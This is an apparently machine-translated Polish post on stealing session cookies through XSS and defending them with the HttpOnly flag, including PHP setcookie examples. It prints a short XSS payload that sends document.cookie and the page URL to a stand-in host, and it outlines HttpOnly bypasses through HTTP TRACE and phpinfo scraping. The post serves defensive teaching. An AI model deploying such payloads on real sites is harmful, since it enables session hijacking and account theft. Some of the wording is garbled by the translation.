Wraz z rozwojem usług www coraz więcej aplikacji przechodzi na struktury B/S, dzięki czemu można korzystać z różnych usług internetowych za pomocą jednej przeglądarki, ale to coraz częściej prowadzi do coraz większych problemów z bezpieczeństwem sieci. Usługa www opiera się na protokole Http, Http jest protokołem bezstanowym, więc aby przekazywać informacje między sesjami, nieuniknione jest używanie ciasteczek lub sesji oraz innych technologii do oznaczania stanu odwiedzającego, a niezależnie od tego, czy jest to ciasteczko czy sesja, zazwyczaj jest realizowany za pomocą plików cookie (Sesja jest faktycznie oznaczana tokenem w ciasteczku przeglądarki, Serwer uzyskuje ten token, sprawdza jego wiarygodność i wiąże odpowiedni stan przechowywany na serwerze z przeglądarką), tak aby nieuchronnie bezpiecznie skupił się na ciasteczku, dopóki zostanie zdobyte, można uzyskać tożsamość innych, co jest wspaniałą dla intruzów, zwłaszcza gdy pobrane ciasteczko należy do osoby o wysokich uprawnieniach, takiej jak administrator – szkoda jest jeszcze większa. Wśród różnych problemów związanych z bezpieczeństwem sieci, szczególnie niebezpieczna jest luka XSS.
W przypadku aplikacji, gdy pojawi się luka XSS, oznacza to, że inni mogą uruchamiać dowolne skrypty JS w Twojej przeglądarce, a jeśli aplikacja jest open source lub funkcje publiczne, inni mogą korzystać z Ajaxu do korzystania z tych funkcji, ale proces ten bywa często uciążliwy, zwłaszcza jeśli chcesz bezpośrednio uzyskać czyjąś tożsamość do swobodnego przeglądania. W przypadku aplikacji nieotwartych źródeł, takich jak tło internetowe niektórych dużych stron (istotną cechą web2.0 jest duża liczba interakcji, użytkownicy często muszą wchodzić w interakcje z administratorami w tle, np. zgłaszając błędy czy dostarczając informacje itp.), choć mogą występować luki skryptów międzywitrynowych z powodu istnienia interakcji, to z powodu braku zrozumienia tła niemożliwe jest stworzenie idealnego kodu Ajax, nawet jeśli można użyć js do uzyskania kodu tła i zwrócenia go do analizy, ale proces ten jest również uciążliwy i nie jest ukryty. W tym momencie bardzo skuteczne jest wykorzystanie luki xss do uzyskania plików cookie lub przejęcia sesji, konkretnej analizy uwierzytelniania aplikacji, a następnie stosowania określonych technik, a nawet trwałego uzyskania tożsamości drugiej strony, nawet jeśli ta opuści program.
Jak więc uzyskać przejęcie ciasteczek lub sesji? W obiekcie dokumentu w przeglądarce przechowywane są informacje o ciasteczku, które można pobrać za pomocą js; jeśli otrzymasz to ciasteczko, możesz mieć czyjąś inną tożsamość. Typowe zdanie ataku XSS wygląda następująco:
- xss exp:
- url=document.top.locatio去掉n.href;
- cookie=document.cookie;
- c=new Image();
- c.src=’<a target="_blank">http://www.xxx.net/c.php?c=</a>’+cookie+’&u=’+url;
Niektóre aplikacje mogą stosować techniki wiązania przeglądarki, aby rozwiązać ten problem, takie jak wiązanie ciasteczek z agentem użytkownika przeglądarki, i uznają ciasteczko za nieważne po jego wykryciu. Ta metoda okazała się nieskuteczna, ponieważ gdy intruz kradnie ciasteczko, musiał w tym samym czasie zdobyć User-agenta. Jest też inna ścisła procedura, która wiąże ciasteczka z Remote-addr (w rzeczywistości jest powiązana z IP, ale niektóre programy mają problemy z metodą pozyskiwania IP, co również prowadzi do oszczędności), ale to powoduje bardzo złe doświadczenie użytkownika, zmiana IP jest powszechna, np. praca i dom to 2 adresy IP, więc ta metoda często nie jest stosowana. Dlatego ataki oparte na ciasteczkach są obecnie bardzo popularne, a na niektórych stronach Web 2.0 łatwo jest uzyskać status administratora aplikacji.
Jak chronić nasze wrażliwe pliki cookie? Na podstawie powyższej analizy ogólne pliki cookie są pozyskiwane z obiektów dokumentu, a my musimy jedynie uczynić wrażliwe pliki cookie niewidocznymi w dokumencie przeglądarki. Na szczęście przeglądarki zazwyczaj akceptują parametr o nazwie HttpOnly przy ustawianiu ciasteczek, podobnie jak inne parametry, takie jak domena; po ustawieniu tego HttpOnly nie zobaczysz ciasteczka w obiekcie dokumentu przeglądarki, a przeglądarka nie będzie w żaden sposób dotknięta przeglądaniem, ponieważ ciasteczko zostanie wysłane w nagłówku przeglądarki (w tym ajax). Aplikacje zazwyczaj nie obsługują tych wrażliwych plików cookie w js, używamy HttpOnly dla niektórych wrażliwych plików cookie, a nie ustawiamy plików cookie, które muszą być obsługiwane w js w aplikacji, co zapewnia bezpieczeństwo informacji o plikach cookie i zapewnia działanie aplikacji. Więcej informacji o HttpOnly można znaleźć w http://msdn2.microsoft.com/en-us/library/ms533046.aspx.
Nagłówek ustawienia plików cookie w przeglądarce jest następujący:
- Set-Cookie: =[; =]
- [; expires=][; domain=]
- [; path=][; secure][; HttpOnly]
Weźmy na przykład php, wsparcie dla HttpOnly zostało dodane do funkcji Setcookie w php 5.2, na przykład:
setcookie("abc","test",null,null,null,null,null,true);
Możesz ustawić ciasteczko abc na Tylko HttpOnly, a dokument nie będzie widoczny dla tego ciasteczka. Ponieważ funkcja setcookie jest w zasadzie nagłówkiem, możesz też użyć nagłówka do ustawienia Tylko Http. Następnie użyj document.cookie, aby sprawdzić, czy to ciasteczko nie jest już dostępne. Stosujemy tę metodę do ochrony Sessionid, na przykład za pomocą niektórych plików uwierzytelniających do uwierzytelniania, dzięki czemu nie musimy się martwić o uzyskanie tożsamości, co ma duże znaczenie dla niektórych programów w tle i poczty webmailowej, aby poprawić bezpieczeństwo. Gdy ponownie użyjemy powyższej metody ataku, zobaczymy, że nie możemy już uzyskać wrażliwych plików cookie, które ustawiliśmy jako Tylko Http.
Jednak można też zauważyć, że HttpOnly nie jest wszechmocny – przede wszystkim nie rozwiązuje problemu xss, nadal nie może oprzeć się atakom niektórych cierpliwych hakerów, ani uniemożliwić intruzom wykonywanie ajax submissionów, a nawet pojawiły się proxy oparte na xss, ale możliwe jest podniesienie progu ataków, przynajmniej ataki xss nie są wykonywane przez każdego script kida, a inne metody ataku wynikają z ograniczeń środowiskowych i technicznych. To nie jest tak powszechne jak kradzież ciasteczek.
HttpOnly może również wykorzystać pewne luki lub skonfigurować Bypass, kluczowy problem polega na tym, że dopóki możesz otrzymywać nagłówek cookie wysyłany przez przeglądarkę. Na przykład poprzedni atak Http Trace może zwrócić ciasteczko z nagłówka, a ten atak można wykonać za pomocą Ajaxu lub Flasha, który został również załatany w Ajaxie i Flashu. Innym godnym uwagi przykładem możliwego obejścia konfiguracji lub aplikacji jest phpinfo; jak wiesz, phpinfo wyświetla nagłówek HTTP przesyłany przez przeglądarkę, w tym chronione przez nas dane uwierzytelniające, a ta strona często występuje na różnych stronach, o ile użyjesz ajaxu, aby pobrać stronę phpinfo, usuń część odpowiadającą nagłówkowi, aby pobrać ciasteczko. Niedoskonałości w niektórych aplikacjach mogą również prowadzić do wycieku nagłówka, który można zwalczać równie mocno jak stronę chronioną podstawową weryfikacją.
HttpOnly jest lepiej wspierany w IE 6 i wyższych, jest szeroko stosowany w aplikacjach takich jak Hotmail i osiąga stosunkowo dobre rezultaty bezpieczeństwa.
|
Opublikowano 03.06.2015 20:57:48
|
|
|
